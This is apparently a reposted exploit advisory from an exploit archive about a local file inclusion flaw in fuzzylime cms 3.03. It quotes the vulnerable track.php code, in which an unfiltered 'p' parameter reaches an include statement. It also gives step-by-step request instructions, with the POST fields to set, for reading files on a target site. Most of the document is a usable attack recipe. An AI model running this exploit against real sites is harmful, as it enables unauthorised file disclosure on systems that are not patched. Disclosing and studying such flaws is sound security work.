fuzzylime cms 3.03 (track.php p) Local File Inclusion Vulnerability

===================================================================
fuzzylime cms 3.03 (track.php p) Local File Inclusion Vulnerability
===================================================================



/*
--+_---=+--=_____=+++++

-- FuzzyLime 3.03 Local File Iclude PoC 
    ***
   (-0-)
  -____======_+++++---''''
***************************************__________________
-- Vuln 
 - code/track.php
   
  $m = $_GET[m];
  $p = $_GET[p]; //1 
  include "settings.inc.php";
  if(!isset($_POST[url]) || !isset($_POST[title]) || !isset($_POST[excerpt])) { //2
	header("Location: ${rooturl}index.php?s=news&p=$p&m=$m");
  }
  else {
    if(file_exists("../blogs/$p.inc.php")) { //3
	 include "../blogs/$p.inc.php";     //4 
   ...
1 $p is not filtered 
2 When POST'S is set 
3 and file exists
4 we have lfi

---+++++....--___________--============
*/


Go to LIVE_HTTP_HEADERS in firefox or opera or whatever
set url  http://site/path/code/track.php?p=[file] 
set "SEND POST CONNTENT"  url=evil&title=666&excerpt=xd
and push reply 
 
//Alfons Luja  25.12.2008




#  0day.today [2018-04-12]  #